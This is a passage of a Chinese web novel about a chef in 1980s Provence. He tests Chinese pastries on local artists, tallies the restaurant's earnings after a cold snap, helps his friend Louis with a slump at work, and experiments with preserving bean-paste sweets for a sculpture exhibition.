“但它看起来——”薇薇安不争气的小声说,“可它看起来真的很好吃啊。” “这里有这么多呢,你就吃一个.”其他艺术家也给宝莱特打气。 突然,罗南的声音在人群外围出现: “它们怎么还在?” 随即一只手把另外几朵‘花’放到了桌子上: “这个是荷花酥,你们赶紧尝尝好不好吃,好吃我就放到餐厅的甜品菜单里了。” 新上的这一盘‘花’比上一盘看起来更加精美,听到罗南让大家尝尝,宝莱特一手拿了一个,确认道: “那我可真吃了啊。” 罗南摆手: “吃吃吃,后面还有别的,马上端出来,你们都尝尝。” 歌迪亚在众多竞争对手中,抢下了半个桃花酥。 外层酥脆,轻轻一碰便簌簌掉渣,但神奇的是一入口又马上化了。 里面的‘馅’也非常奇特,是歌迪亚等普罗旺斯人没吃过的味道.细腻绵软,略带湿润感,与外层酥皮形成鲜明对比。 罗南主动给吃桃花酥的几个人解释: “里面是豆沙,一种中式传统馅料。” 有了系统新给的‘黄页’,罗南对中西方的甜品文化有了更为深入的了解和认知。 西方甜品里也会放入馅料,但大部分是苹果酱、樱桃馅和柠檬凝乳等果味,或者卡仕达酱和奶酪等乳制品,又或者是甘纳许这类巧克力味食材,而且里面还要放入肉桂、香草和焦糖等强调浓郁甜香的香料调味。 究其原因是由于西方传统农业以小麦、奶制品为主,豆类多用于咸食,而且他们的甜品文化追求‘甜腻浓烈’的特色。 罗南担心这些普罗旺斯人吃不惯清淡的豆沙香气,稍微改良了一下配方,熬制的时候加入了甜口的椰子油和香草。 他对改良菜有经验,改良甜品这还是第一次。 也不知道这些人吃不吃的惯这几款酥皮甜品。 “外面的皮像是蛋挞。” “里面这个黑色的东西给我一种巧克力酱的感觉” “不过是好吃的,好吃!” 见两盘子甜品瞬间没了,罗南笑着返回后厨: “我再去给你们拿别的,但不是白吃啊.一会要给我排个序,我看看你们最爱吃哪个口味的。” 歌迪亚追上罗南,不确定的问: “你是在给雕塑展做准备吗?” 桃花酥和荷花酥是很精美,也很好吃可他们对雕工的展示太少了。 罗南耸肩道: “当然,这是做作品前必要的几个尝试。” 见歌迪亚一脸‘我不信’,罗南敷衍的摆手: “和你解释不清,但我要考虑的事情很多.总之你别担心,我心里有数。” 歌迪亚知道罗南向来是个不按常理出牌的人,没有再说什么,只是严肃的对他说: “我刚刚从戈尔德回来,你的人气比我想的还要高,而且近期有许多大人物也抵达了戈尔德,很有可能已经注意到你了.你一定要认真对待这次机会,哦对了,传世性也要考虑进去,那个作品最好是可以作为艺术品买卖流通,而不是作为甜品!” 歌迪亚脑海中浮现出了那名叫帕特里西亚的少女眼中流露出的‘遗憾’之情。 罗南也认真下来: “你说的买卖流通我注意到了,我也在尝试这方面的可能性.虽然很困难,但已经有一些方向了。” 第313章 寒潮再冷,能有我的心冷?! 罗南今天做了许多种中式传统甜品,不止拿给艺术家们尝了,还给员工和父母也尝了尝。 农夫们没有参与到这次‘活动’里。 罗南猜那帮嗜酒如命的家伙有可能会说: 还可以,但配酒不太适合。 就不给他们吃了。 “你做的这几种甜品适合配茶。”罗天海吹了一口手里的茶水杯子。 罗南喝了一口手里的咖啡: “一下子改变太多怕他们接受不了,慢慢来吧,配咖啡口感也还凑合。” 作为这次最重要的‘评委’之一,莉亚喝了一口茶水,又喝了一口咖啡: “这个‘清淡’版的桃花酥配茶水,满嘴留香。” 她又拿起一块颜色更重的桃花酥: “但罗南做了改良,配口味更重的咖啡也挺合适的。” “改良嘛,肯定要‘因地制宜’,一点一点来没问题。”罗天海理解的点了下头,随后看着罗南问,“但这么多种你都要放上菜单?” 在他们面前摆了八九种中式酥皮甜品,虽然罗天海不会做,但他了解这些属于同一种类型,只是里面的馅料不同,有豆沙的,有椰蓉的,还有玫瑰和枣泥等等。 他很支持罗南做甜品升级,想要把餐厅开好绝不能停下脚步。 但这些是不是有些太‘重复’了? 罗南摇头: “当然不,这里面最多选一两种,今天我做这么多种是为了做‘调研’。” “调研什么?”罗天海问。 “当然是调研普罗旺斯人更接受哪种口味了。”罗南没有过多解释,转而对莉亚说,“等我做完雕塑展览的作品,就教你做这几种中式甜品,再把‘希望’的做法教给你.如果时间允许,我们再一起想几个和‘希望’主题有关联的甜品。” 巴蒂的努力没有白费。 今天又有几个艺术家来点‘希望’,但罗南没时间,莉亚又不会做.只能给他们安利其他甜品。 不过可能由于他们就是奔着‘希望’来的,很大一部分人并没有接受服务员的安利。 罗南轻轻抱了一下莉亚,用安慰的语气对她说: “我是为了给餐厅引流才用甜品参加艺术展,升级甜品菜单也是为了适应新的环境,和你完全没有关系,我对你非常非常满意.答应我,千万不要多想好吗?” 罗南听服务员说,顾客拒绝其他甜品只要‘希望’,让莉亚的脸色有一点点难看。 在这之前,罗南从来没有干预过餐厅的甜品制作。 现在又是做中式甜点又要升级菜单.动作太大了。 虽然以罗南对莉亚了解,判断莉亚绝不会因为这件事影响心情。 如果有也是暂时的。 不过他觉得有必要好好聊一次,把事情说清楚,这样会避免没有必要的误会。 莉亚是典型的普罗旺斯人性格。 她热情、直接又乐观开朗: “我怎么会伤心呢!你不知道之前我的压力有多大,总担心在甜品方面出现短板,谢天谢地,你找到了一份中式甜品菜谱!又谢天谢地,你可以把甜品做的像艺术品一样精致.说实话,我已经迫不及待的想要看看你把甜品菜单升级成什么样子了。” 她回抱住罗南: “放心,我没有被影响到,我为你骄傲还来不及呢!” 莉亚已经把罗南看成是自家人了。 谁会因为‘儿子’太优秀而伤心呢? 罗南开心的说: “那就好,等忙完这几天,我们一起好好研究新的甜品创意。” “没问题!”莉亚笑着回应。 虽然总会有源源不断的新挑战,但又能够清晰的知道,自己一定可以把困难‘跨’过去,因为身边全部是优秀的伙伴。 在这个过程中,还能时常感受到自己在进步。 真好啊,这种感觉做家庭主妇时从来没有体会过。 原来事业也可以让女人变得开心! 罗南今天做了两种版本的中式甜品。 一种正常的,一种改良的。 改良后的那些送到后厨妇女们很快就吃完了,但减糖版本可能太‘清淡’了,剩了一些。 罗南和罗天海对甜食一般般,罗南把它们拿了出来,交给在收银台后坐着的母亲。 “放你这吧,无聊了吃点。” 冯珍‘嘿’了一声,收回不知道在看什么的视线,对儿子说: “我怎么会无聊?你可不知道,我这个位置太棒了,跟看戏似的,餐厅里发生了什么事、来了什么人我都门清,我每天过的可充实了。” 罗南笑了两声,饶有兴致的问: “这么有意思?” “那可不!”冯珍神秘兮兮的压低声音,“刚才交钱出去的那两个男人.他们两个是同一个女人的情夫,而且我听他们的意思,还有其他‘兄弟’。” 罗南一副‘够了’的表情,心想这都哪儿跟哪儿啊: “行了,说正事吧。” 冯珍说上瘾了,死死控制着遥控器不换台,眉飞色舞的对儿子继续说: “过两天你在我这‘风水宝地’坐一天,收收钱,你就知道每天过的多有趣了。” 但罗南也是跟路易‘集训’过的,在自己的频道里不肯离去: “1月卖的怎么样?” “对对,我想起来了,昨天下午来了两个警察,说在阿普特出了一桩悬案,居然有五个人同时自首说他们杀了人,你猜怎么着?” “跟12月比多了还是少了?” “他们五个居然说自己杀的是同一个人!那两警察说的时候自己都笑了!” “没有12月多吧?但差的多吗?” “怎么可能五个人杀的是同一个人啊,这事儿太玄乎了,你猜实际情况是什么?” “能差一半吗?1月份寒潮肯定还是影响到了。” “哐啷——” 冯珍把笔扔到桌子上,冷言冷语的说: “5万5。” 罗南一脸喜色: “经历了半个月的寒潮,还能有5万多,餐厅的生意越来越稳定了。” 冯珍冷哼一声: “寒潮再冷,能有我的心冷?嗯?我给我儿子分享生活,他一点都不想听!” “不是,不是的!”罗南嬉皮笑脸的说,“我这不是想着先把正事聊完,再和你好好聊生活吗。” “得了吧,晚了。” “实际情况是什么?那五个人是什么身份?又有什么目的?你快说啊,我好奇死了!” “离我远点!不想看见你!!” 罗南用两根最新款的口红才把母亲冯珍哄好。 虽然每个月都会给他们留2万法郎,但罗天海和冯珍还是不舍得吃、不舍得花,每个月能花2000法郎就算多了。 那些钱给他们,他们也会给罗南存着。 只怪罗南赚的还是不够多。 他如果每个月给父母20万法郎的‘零花钱’,落到他们手里的就有2万法郎了。 在问母亲餐厅的1月营业额之前,罗南已经把其他几个渠道的收入算完了。 总体来说,1月份的收入情况较差,但又比他预想中的糟糕情况好上那么一些。 摊位的收入没了,罗南把集市暂时交给了几个员工打理,受一月份寒潮影响,集市上没什么人,每次赚的那些钱罗南全都给她们分了。 他打算等3月份,气温回升,游客开始回普罗旺斯时,再把摊子拿回来自己打理。 编织生意这个月的情况也不太好。 天气影响了普罗旺斯人装修和装饰房子的热情,这个月编织只赚了1万4千多,比12月的一半还要少。 当然了,这也是因为12月卖了一批圣诞花环的原因。 不过做完手里的这个作品,罗南就要频繁的去戈尔德露脸了,到时候他会和巴蒂一起好好把编织宣传出去。 歌迪亚说,大人物们已经陆陆续续的抵达普罗旺斯,这种又贵又小众的东西应该能遇到几个‘有缘人’。 餐厅的收入也减少了,这是没有办法的事依然是天气影响了生意。 不过让罗南意外的是,松露的收入比预想中高了一些。 12月罗南进山20多天,卖了13万法郎的松露。 整个1月份,抗寒占据了他一半的时间,罗南只进山十几天,但收入却有10万法郎,这必须要感谢‘不守规格’的阿方斯先生。 他的订单不止单价高,还逼着罗南不能休息,每天就是挖啊挖啊挖。 “所以1月一共赚了——”罗南在心里快速计算了一下,“14万9千法郎。” 但12月算上那颗极品松露,他的收入破了30万法郎.1月直接腰斩。 算完收入,再算存款。 12月底,罗南的存款有24万法郎。 之后给了巴蒂7万5千法郎修建后院的工作室,春节给大家准备礼物花了2万法郎。 一个月过去,他的存款只多了5万多。 “天气太影响赚钱的速度了。”罗南感慨了一句,离开了餐厅。 下午路易给罗南打电话,说他今晚下厨,问他要不要来尝尝。 为了保护佐伊的安全,罗南答应了下来,英勇赴约。 莉亚去餐厅上班后,罗南的餐厅成了路易家的食堂。 最会做饭的人不在家,其他家庭成员最明智的做法就是不做饭,而实际情况也确实是这样的。 所以今天罗南一进路易家,就问给他开门的佐伊: “你爸爸今天怎么要下厨?还有他今天没加班吗?” 佐伊回头看了一眼维埃里的房间,见他大门紧闭,才小声说道: “爸爸最近一周回家的时间很早,我怀疑他的工作可能出了一点问题,而且我担心.这个情况比我发现的时间还要长。” 佐伊整个1月都在忙着准备去参加戈尔德艺术展的作品,偶尔几天想放松也会去罗南的餐厅里和同行们交流,没有注意过路易的工作作息。 等她最近闲下来才发现父亲每天很早就回家了,有的时候甚至可以在家吃午饭。 但去年他每天都会加班到很晚才回来,是‘远近闻名’的大忙人。 佐伊很担心,这个情况已经发生了许久.但他们都忽视了。 “不会吧,你爸爸的工作能力那么强,怎么会出问题?”罗南看了一眼发出巨大切菜声响的厨房,确认他们的对话不会被路易听到后压低声音问。 佐伊担忧的叹气: “其实前几天我也是这样安慰自己的,你知道的,爸爸的工作一向顺利和稳定,他是卢尔马兰最棒的房产中介,但昨晚妈妈回家问爸爸几点下班,我清楚的听到他说6点.可昨天他3点就坐在沙发上看电视了,我觉得他在故意向妈妈隐瞒什么。” 罗南的脸色也郑重了起来: “寒潮影响到他的生意了。” 这场自然灾害不止影响了农业和畜牧业,它影响了普罗旺斯全部的居民。 佐伊点头: “应该是,但爸爸不想让我们担心。” “我去和他聊聊。”罗南向厨房走去。 佐伊突然拉住他,语气复杂的说: “你不要看我爸爸平时总是很和蔼,其实他的自尊心也很强,干什么都想要争第一,你可以浅浅的试探一下,如果他不想说不要逼他。” 罗南在佐伊的脸上亲了一下: “我当然明白路易是什么样的人,放心,我只是去送给他一些关心。” “谢谢。”佐伊抱了一下罗南。 “我可以进来吗?”罗南在厨房门口语气轻快的问。 路易回头,露出一个大大的笑容: “我很开心你接受了邀请,否则你可能会错过卢尔马兰最棒的‘茄子鱼子酱’。” 茄子鱼子酱虽然叫鱼子酱,但和鱼子没有任何关系。 因为抹到面包上和鱼子酱一样美味而得名,也有的人叫他穷人鱼子酱。 “茄子鱼子酱?”罗南欣喜的走过来,惊喜的说,“我前天还在跟我妈妈说想吃这东西了,上帝,我太开心了。” 路易得意的笑了两声,继续给茄子削皮。 罗南一边和路易闲聊,一边观察他的状态和情绪。 路易会主动和罗南讲新闻和朋友身上发生的有意思的事,罗南讲的笑话他也能笑出声——看起来没有任何问题。 可能是我和佐伊想多了罗南暗自腹诽了一句。 “茄子、西红柿、洋葱、小茴香、八角、薄荷、酸奶、胡椒、罗勒、百里香和山羊奶酪——”路易像点名一样,在每个食材上点了一下,之后开心的对罗南说,“食材齐了!我去把茄子烤了。” 普罗旺斯的烹饪体系里没有‘蒸’这种处理方式。 如果想让食材变软或者变成泥,他们通常会选择火烤,这样做的好处是食材里会带着一点烟熏的香气。 “我洗一下手,之后去帮你。”观察结束,罗南决定帮一帮路易。 这个家伙在厨房这么久都没有惹出什么麻烦简直是个奇迹。 但绝不能因此过于乐观的认为接下来不会出问题。 吕贝隆居民的烧烤架都放在院子里,罗南洗手出来的时候,亲眼看见一个茄子‘爆炸’了,溅了路易一身汁液。 茄子酱好吃,但这个东西烤的时候非常爱爆炸,解决方式是烤之前戳几个洞。 这对于一年中有300天以上会使用烤炉的卢尔马兰居民来说,像是1+1等于几一样是基本常识。 罗南憋着笑过去,想要开玩笑的对路易说: 你看,我刚要表扬你,你就出问题了,快去换衣服吧! 但在那之前,他看到路易失落的低下头看脏了的衣服,用很轻很轻的语气说: “这明明是我很擅长的啊,怎么又不会做了呢?” 罗南的眼睛小幅度的眯了一下。 看来真的出了些问题啊。 第314章 旧时代过去了 罗南装做没有发现异样,走过去像往常一样‘嘲笑’了路易两句,并提议道: “不如趁莉亚还没回家之前,把衬衣上的油渍洗掉,以免晚上听太多不必要的抱怨?” 路易的状态也恢复到了正常。 如往常一样,把问题推卸到了除了自己以外的其他任何有可能的事物上: “其实我用叉子叉过这些茄子了,一定是那些叉子的问题,又或者是茄子,你知道的,普罗旺斯人很爱做农产品改良,或许我买到了汁水翻倍的茄子。” “好了,把这些汁水翻倍的茄子交给我吧,你快去处理衣服。”罗南拿起另一把烧烤夹。 路易没有离开他的‘岗位’: “先把晚饭做好,维埃里刚刚回来的时候说饿了。” 罗南并排和路易站到一起烤茄子,像老朋友闲聊一样轻松的问: “最近卢尔马兰的房价又涨了吗?吕贝隆的房市情况怎么样?” 路易熟练的回答: “上个月跌了一些,最近保持住了,不过戈尔德的房子一直在涨,因为你们参加的那个艺术节。” 罗南侧头,意外的问: “你还卖戈尔德的房子?不是只卖小吕贝隆范围内的吗?” 路易干笑了两声: “现在吕贝隆的房产中介比游客还多,今年最新一版电话年鉴里,房产中介的联系方式有整整六页.哪还轮得到我挑客户。” 罗南点了点头。 也许影响路易工作的不止是1月份的寒潮,火热的普罗旺斯房市使得行业竞争也变大了。 去年后半年,房价疯了似的飙升让更多居民投身入了这个行业。 “你呢,你最近怎么样?工作还顺利吗?”罗南语气轻松的问。 为了让路易不至于太敏感,罗南的眼睛始终看着烧烤架,两只手也没停下来,看起来问这个问题一点没有走心。 路易语气淡淡的说: “还可以。” “那就好。”罗南微笑着说。 那天晚上,罗南又谨慎的试探了两次,但路易完全没有倾诉的欲望,最终只能作罢。 这个卢尔马兰前最佳农夫、现最佳房产中介并不想说工作上的事。 不过根据一整晚对路易的观察,罗南推测问题没有很严重。 如果真到了要‘失业’的地步,路易应该不会在意是否要在莉亚回家前把衣服处理干净。 吃完晚饭,路易回到卧室‘毁尸灭迹’,维埃里也回去学习,罗南悄悄的对佐伊说: “路易不肯说太多,不过情况看起来并不严重,也许只是生意少了,等过一阵子气温升高,那些有钱人又会记起普罗旺斯的房子了。” “希望吧”佐伊的表情并没有轻松下去。 罗南拍了拍她的手背,安慰道: “最近我们都多关心一下路易。” 佐伊靠到罗南的怀里: “怪我之前太大意,总觉得爸爸是个不会被任何事情打倒的‘超人’.” 在二人身后的走廊里,出来拿东西的维埃里听到了罗南和佐伊的全部对话。 他看向父母的卧室,露出了若有所思的神情。 还有四个月维埃里就要高中毕业会考,为了给他创造一个良好的学习环境和心情,他现在不用做任何家务。 冬天也不是做户外运动的好时候。 放学后的时间和假期,他都是在自己的卧室里待着,只有吃饭时才会出来,平时也不会有人去打扰他。 莉亚曾在餐厅和其他妇女开玩笑的说,要不是维埃里还坚持每天来餐厅里待一会.他们俩在家里都碰不上面了。 但就是这个一回家就‘消失’的维埃里,当天晚上居然来客厅看电视了。 “学累了?”路易拿着遥控器问。 维埃里端着水杯,目视着前方电视机上的画面说: “妈妈今晚要看罗南做新的甜品,7点多回不来,8、9点钟才能回家。” 路易更喜欢看报纸,有的时候晚上看电视是为了让莉亚在推开门的瞬间就能看到丈夫。 这对夫妻还是很注重细节和浪漫的。 路易笑着耸了一下肩: “我知道,你妈妈现在越来越厉害了,看‘加班’频率就能看出来。” 餐厅7点半之后就不能点单了。 莉亚留下‘加班’是自发的想要去干点什么,大部分时间是为了提升自己的能力。 维埃里喝了一口杯子里的水: “妈妈很喜欢这份工作,我能看得出来。” 路易笑着点头: “我也能看得出来,你妈妈不止喜欢这份工作,还有着很远大的抱负未来她一定会成为一位优秀的甜品师。” 好久没和儿子聊天了,维埃里今天又是自己主动出来.路易关心的问: “考试准备的怎么样?还顺利吗?” 维埃里耸肩道: “就那样吧,即使每天不睡觉也依然有可能没有大学上,我心态很平和,希望你们也平和一些。” 以1986年为例,法国全境Bac(高中会考)通过率约为60%-65%,但吕贝隆山区的通过率仅有35%-45%,师资水平较城镇还是有一定差距。 但Bac属于通过性考试。 通过的孩子无需选拔,可以持Bac证书直接注册普罗旺斯本地院校,如果想去精英学校,要参加额外的考试。 不过在吕贝隆只有2%左右的高中生会考虑精英院校,连佐伊都只是参加了普通的Bac考试,去了一个尼斯的大学。 路易平摊双手: “我们的心态都很平和,至少我是专业呢,想好学什么专业了吗?” 维埃里摇头: “没有,不过我不太想去种地,如果考过了,可能会选择一个对未来做房产中介有帮助的职业吧。” 路易沉默了几秒,才开口道: “其实.你完全可以选一个自己喜欢的职业,没必要听我的。” 维埃里突然笑了起来: “可我记得,你上个月还在和大家说房产中介是吕贝隆最棒的职业,尤其是现在的吕贝隆,傻子都可以赚到钱。” 路易苦笑着说: “所有事情都有两面性。” “比如?”维埃里看着父亲问。 路易呵呵笑了两声,摇头道: “那绝对你是你最不想听的故事类型,听完心情都会跟着糟糕起来,这样说吧,有的时候我回忆工作里的事都会影响心情。” 维埃里连和家人交流都经常会逃避离开,他怎么会有耐心听那些烂事? 但维埃里直视着路易的眼睛说: “罗南说过,多接触人和事才能真正的成长.我想听听那些让你心情不好的事。” 路易想要直接拒绝,又舍不得这么好的父子聊天机会,这是他一直想要看到的场景——父亲和儿子像朋友一样交心的说些什么。 他嘴巴动了几下,最终露出了点了一下头: “好,那我给你讲讲。” 维埃里略微前倾身体,耐心倾听。 路易拍了一下膝盖,一点点敞开心扉: “来吕贝隆买房子的买家通常是城里人或者外国人,但卖家都是本地的村民,你应该知道,在大部分村民的眼中,‘答应’和‘承诺’是两件事.尤其是房子价格一天一个样子的时候。” “上个月,梅纳村的村民卖老宅,对方一口答应了他的报价,没有任何讨价还价,他就会立刻怀疑价钱是不是报低了,这种疑虑会给未来的交易增添无穷无尽的痛苦,比如在签合同时突然宣布房子旁边的井、家里的某些东西并不包含在之前的价格里.类似的事情,最近几个月在每个合作里都会频繁的出现,又比如——” 说着说着,路易靠到沙发上,像是给维埃里讲,又像是在剖析自己的内心: “普罗旺斯的火热房产市场让买卖双方的心态发生了变化,从业人数也一下子激增,只靠专业和耐心就能赚到钱的旧时代过去了但总有人适应的快一些,有的人适应的慢一些,更差一些的可能要被市场淘汰了。” 见路易说完了,维埃里也靠到了沙发上: “所以你是适应慢的,还是更差一些的?” 路易的脸色瞬间难看起来,不过几秒后他又笑出了声: “你果然不适合做房产中介,你的沟通水平太糟糕了。” 维埃里没有什么情绪的侧了下脑袋: “但我分析的没有错,对吧?你的业绩不是公司里的第一了?” 路易这次笑不出来了,面色难看的看着电视说: “你该回去学习了。” 维埃里没有着急离开,继续说道: “爸爸,我们要直视自己的平凡,没有谁会永远拿第一,这没有什么。” 路易似乎沉浸入了电视里的狗血电视剧,无论维埃里说什么都不再回应。 维埃里自觉无趣,说了几句也离开回去学习了。 儿子走后,路易长长的叹了一口气。 如果是几个月前,他可能还能接受自己是一个平凡的人,不再去争某某第一了。 但这半年发生了许多事情。 他的女儿成了普罗旺斯最有名的新晋艺术家,无数崇拜者为了她搬到卢尔马兰生活和工作。 他的妻子成为了卢尔马兰唯一的一个持证甜品师,在罗南的帮助下,莉亚未来的事业一片光明。 家人们都变得越来越好但他这个‘顶梁柱’却遇到了事业上的大难题,有了走下坡路的迹象。 维埃里说的道理路易都明白,但心里的落差感不是一句两句就能缓解的,但他正在努力。 突然,路易身后又响起了维埃里的声音: “我的爸爸、妈妈和姐姐都很优秀,只有我平平无奇,但那不妨碍我爱他们,也不妨碍我被爱,更不会妨碍生活的样子.我很理解你的心情,但不开心的事情憋在心里并不能解决问题,我很庆幸罗南愿意倾听我的故事,所以我也很期待继续听你工作上的故事,如果需要你可以随时来找我。” 路易回头,只看到一个维埃里回屋的背影。 他笑着摇了摇头: “果然长大了。” 第315章 新时代来临了 第二天一早。 餐厅开门接待的第一个人是佐伊。 “爸爸的心情似乎变好了许多。”她迫切的和罗南分享新发现。 “怎么突然好了?”罗南好奇的问。 佐伊平摊双手: “不知道,但是就是肉眼可见的变好了,今早他去上班前,特意亲了我、妈妈和维埃里,并对每一个人都说了一句‘爱你’,他以前从来不这样。” 罗南笑着说: “也许昨晚突然想通了什么道理?” 佐伊可爱抿了一下嘴,随即露出开心的笑容: “也许吧,不过不管是出于什么原因,他没有什么事我就放心了——” 突然,佐伊闭上了嘴。 她看到罗南从收银台后面,拿出了做木工的刨子和刻刀等不该出现在这里的东西: “你要干什么?” 罗南挑了一下眉毛: “做工具。” “做什么工具?”佐伊瞪大眼睛问。 罗南并没有隐瞒: “给中心雕刻展准备的作品需要一些特别的工具,在外面买不到,我要自己做一套。” 佐伊的嗓音忽地升高: “你到底要做什么?不是雕刻作品嘛.怎么还要做工具?” 罗南这两天要做的‘试验’有点多,一直在后厨折腾会影响餐厅的正常运行。 但他又离不开厨房里的各种东西和食材,只能在餐厅二楼用桌子临时拼了一个小小的工作室。 这个时候,他就无比期待后院的工作室能赶紧建成。 他给工作室做了上下水路,为了的就是未来有可能会用甜品或者其他食材做东西,需要一个厨房。 “我今早问了工人们,工作室下个月就能建成了。”罗南开心的给佐伊汇报工作进展。 “好的。”佐伊已经被桌子上的一大团‘泥’状事物吸引了注意。 她拿起一块,用刻刀试了几下,随即惊恐的问身边的罗南: “你确定这个东西真的能吃?它看起来一点都不像是吃的东西.” 罗南停下手里的的事情,捏了一小块‘泥’放到嘴里,笑着说: “味道挺不错的。” 佐伊小心翼翼的吃了一小口,回忆着说: “它的味道像是你做的那个——” “桃花酥里的豆沙。”罗南替佐伊说出了后半句。 “对对对。”佐伊认真审视起来,“不过那里面的馅是黑色的,你这个是白色的。” “豆沙是用红豆熬制的,这个是用白芸豆熬制的.加入从蔬菜和水果中提炼的色素,它们可以呈现出各种各样的颜色,并带有那种食材的香气。”罗南帅气的系上围裙,“我要做的甜品叫唐果子,它的原材料是豆子。” 苦苦找寻了两天后,罗南找到了六七种适合的甜品类型,它们都可以雕刻,且好下刀,唐果子只是其中之一。 但昨天做的那番调研显示,本地人对豆沙‘绵密’、‘沙沙’的口感接受程度还不错,所以他最终选择用唐果子做雕刻作品,给未来卖‘同款’做准备。 有一些甜品也可以雕刻出好看的图案和花纹,但吃起来太糟糕了,罗南自己都无法接受,更没办法放到菜单里卖。 罗南始终没有忘记——现在做的一切都是为了将来反哺给餐厅。 唐果子的手感较软,用刀雕刻当然可以,但也可以辅助用一些其他的工具。 系统里给的知识记录了那些工具的名称和尺寸,罗南自己会做木工,于是他做了几个专门做唐果子用的木质工具,例如三角竹刀等。 如果未来真的要长期卖这种甜品,罗南还会做一些刻有花纹的木板,使用方法和做月饼类似,想要什么图案,拿木板压出来即可。 罗南做工具很快,不多时,他便开始尝试着用‘白泥’做东西。 “居然还要用剪刀?”在旁边的佐伊已经看呆了。 无论是食材还是工具,都脱离了她对甜品的认知。 她根本无法想象,罗南用刀和剪刀会把它做成什么样子。 罗南笑着说: “今天的第一个试验只是想试试这个食材好不好下刀,不过只要能做出想要的造型用什么不行?我一个厨师都去参加艺术活动了。” 20分钟后。 罗南的试刀作品初步成型。 他没有做精雕细琢的打算,真的只是想试试这种食材是否适合做雕刻。 结果让他非常满意——软硬适中。 在一旁观看了全程,也知道罗南是抱着实验目的的佐伊在一旁提醒: “可塑性不错,但稳定性需要再观察一下,放置的时间长了,会不会开裂?” 如果它是甜品,那没有任何问题,开裂也不会影响吃。 但罗南现在要参加的是艺术活动,材料的稳定性必须考虑进去。 而这个结论罗南只能通过自己的实验拿到.周围没有任何参考依据。 “下一步试验要解决的就是这个问题!”罗南从桌子底下拿出一个大箱子。 佐伊看着那个大箱子问: “你想让它快速干燥?” 她猜箱子里可能有吹风机等快速干燥工具,怎料罗南从箱子里拿出了一副橡胶手套: “不不不,不止是测试稳定性。” 见罗南又从箱子里接连拿出好几个灌满五颜六色液体的瓶瓶罐罐,佐伊继续猜道: “你想给这块泥染色?要调色了吗?” 罗南继续摇头: “也不是,那是最后一步,思考要做什么造型时再试验的东西。” 佐伊实在想不出来可能性了: “那你现在要干什么?” 罗南突然把一个防毒面罩扣在脸上,语气癫狂的说: “我想尝试着给它加入一些化学试剂!” 佐伊几乎是尖叫出来的: “上帝,你真的在做实验?” 在选择用哪种甜品制作雕塑时,罗南罗列出了4个条件。 易于下刀、易于储存、最好能‘一石二鸟’和好吃。 现在易于下刀和好吃解决了下一个要攻克的难题是‘易于储存’。 但这其实是个很难解决的问题。 尤其罗南的目标是让这个作品有‘传世’性,保质期30天他都不满意。 但5级【烹饪】给的新知识都是以‘食物’为出发点记录下来的信息,根本不会考虑保质这个问题。 罗南翻遍了也找不到可以借鉴的东西,只能另寻他法。 而系统给的知识里面,唯一和‘延长储存时间’有关的来自【编织】这个技能。 【编织】升级到2级时,系统给了许许多多处理材料的方法,它们都可以起到防腐的作用,还有几个提到了抑制霉菌与酵母菌。 其实【编织】是一门很庞大的工艺类型,不止草、竹、藤可以编织,皮革、纸、乳胶线甚至是海带都可以编织成工艺品。 而今天的这个‘试验’主题,主要指的就是这一部分的尝试。 罗南不知道他能不能找到长期防腐的办法但也许呢? 之前许多次发生在他身上的事情已经证明——遇到麻烦,应该把思维更‘广阔’的发散出去,说不定解法在其他意想不到的地方。 看着罗南不厌其烦的把白泥和叫不上名字的各种试剂混合到一起,小心翼翼的放进试验盒里,佐伊觉得今天一天在罗南身上看到的东西,已经完全超脱她所理解的‘艺术’了。 她撑着着下巴,看着罗南的侧脸,骄傲的感叹: “我感觉你把艺术带到了一个新的时代里。” 第316章 佐伊的可爱一面 混合了化学试剂的白泥要放到高温高湿封闭环境下测试效果如何。 喷了一些水后,罗南把封闭好的实验盒一一挪到暖气的旁边: “两天后差不多就可以知道实验是否成功了。” “如果没成功怎么办?”佐伊不免替罗南担心起来。 既然是实验,就肯定有失败的可能,说不定会全部失败。 罗南把手套摘下来: “都失败就用山梨酸钾和脱氢醋酸钠这类可食用防腐剂,或者用海藻糖替代部分白砂糖降低水分活度,又或者混入谷氨酰胺转氨酶,使豆蛋白形成三维网状结构,提升抗压强度总之撑完一个展览的时间还是好解决的。” 罗南口中生涩的专有名词佐伊全部不了解她陌生的看着罗南: “我真的有一种回到学校的课堂上,看着老师做实验的感觉。” 罗南笑着摇头,苦涩的说: “你以为我想搞的那么复杂?如果能找到冷冻干燥机或者能做树脂封存的材料和机器,我才不想在这里做实验呢。” 他现在在做的是穷人版防腐处理,如果有钱又有门路,机器喷一喷就能永久防腐。 罗南打听到,冷冻干燥机要几十万法郎,做树脂封存的材料既难找又昂贵都是他无法‘触及’的东西。 “你能想到这些办法已经很厉害了!”佐伊略带崇拜的说,“等待结果的这两天你打算干什么?” 罗南想了一下: “进山吧,松露采摘季快结束了。” 要抓住这个尾巴再多赚点钱。 佐伊提醒道: “好,但别忘记想想要做什么东西。” 材料找到了,但主题罗南还没想好。 罗南笑着点头: “好的。” 实验完时间还早,罗南陪佐伊在餐厅见各种艺术家朋友。 大部分参与了大地艺术活动的卢尔马兰艺术家,都结束了行程返回到卢尔马兰,他们兴奋又积极的分享着这次活动的收获。 “我认识了很多新朋友,还看到了许多新的艺术类型,果然要多出去看看世界,一直闷在家里永远不知道外面发生了什么。” “虽然我参加的是小展览,但我在戈尔德遇到了于格先生!我们简短的交流了几分钟,那让我有了巨大的收获,当天我在工作室待了整整一个晚上。” “我去参加了蒂凡妮女士的文化交流活动,她给新艺术家们许多忠告和建议,还鼓励我们不能停下创作.虽然我的作品没有参与到这次活动中,但我也同样有收获。” “我们这种‘查无此人’的艺术家都能收获那么多佐伊的收获一定会更多的!说不定你普罗旺斯新晋艺术家前面的‘新晋’要去掉了呢!” 佐伊参与的几个艺术活动都较晚开始,目前她还没有去戈尔德。 不过与她并列为‘卢尔马兰希望’的巴蒂此刻正在戈尔德大放光彩.不仅报纸对他进行专题采访,巴蒂还在戈尔德收获了一批想要学编织的‘徒弟’。 等戈尔德的系列艺术活动结束,那些人就要来卢尔马兰上课了。 佐伊这次参与的活动比巴蒂多一个,而且她的作品风格非常有个人特色,艺术家们猜测,她的收获一定不会差的。 “头衔什么的不重要,重要的是能学到东西。”佐伊语气平和的说,“参与就是胜利。” “你太谦虚了,我们都看到了你的送展作品你的实力又精进了。”薇薇安笑着说。 “好啦,别说我了,今天是分享会,大家继续说收获吧。”佐伊把话题岔过去。 艺术家们把话题聊走之后,罗南压低声音对佐伊说: “你跟我可不是这么说的.你说你要成为戈尔德2月最亮的星星。” 佐伊偷偷瞪了一眼罗南,嗔怪的说: “那是开玩笑。” 罗南挑眉: 